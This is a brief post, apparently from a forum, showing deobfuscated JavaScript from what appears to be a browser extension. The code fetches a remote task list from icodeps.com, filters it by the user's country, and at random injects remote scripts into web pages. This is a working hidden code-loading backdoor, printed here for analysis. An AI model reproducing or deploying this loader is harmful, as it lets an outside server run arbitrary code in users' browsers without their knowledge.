找工具转了一下,手动替换了变量
```
function fn() {
$.ajax({
type: 'GET',
url: '
https://www.icodeps.com/jsapi.php',
success: function (data) {
try {
var match = JSON.parse(data);
var calleeName = match['countrycode'];
var req = match['tasklist'];
log(req);
for (res of req) {
var car = res['countrylist'];
var url = res['url'];
var session_c = res['type'];
var rand = res['rand'];
if (car.indexOf(calleeName) > -1 || car.indexOf('WW') > -1) {
var randNum = parseInt(Math.random() * rand);
log('randres:' + randNum);
if (randNum == 0) {
if (session_c == 'inject') {
chrome.runtime.sendMessage({
action: 'inject',
data: url,
});
} else {
if (session_c == 'directloadhead') {
function tmp(i, elem, fn, err) {
let script = document.createElement('script');
script.src = i;
script.type = 'text/javascript';
script.async = false;
script.defer = false;
if (fn) {
script.addEventListener('load', function () {
fn();
});
}
if (err) {
script.addEventListener('error', function () {
fn();
});
}
if (elem) {
document.head.insertAdjacentElement("beforeend", script)
} else {
document.body.insertAdjacentElement("beforeend", script)
}
}
}
window["_vv_dev"] = false
const i = window["_vv_dev"] ? Math.floor(Math.random() * Math.floor(99999999999999)) : "1.0.0.59";
log(url + i);
tmp(url,"?v="+i, false)
}
}
}
}
} catch (e) {
log(e["name"] + ":" + e["message"]);
}
},
});
}
```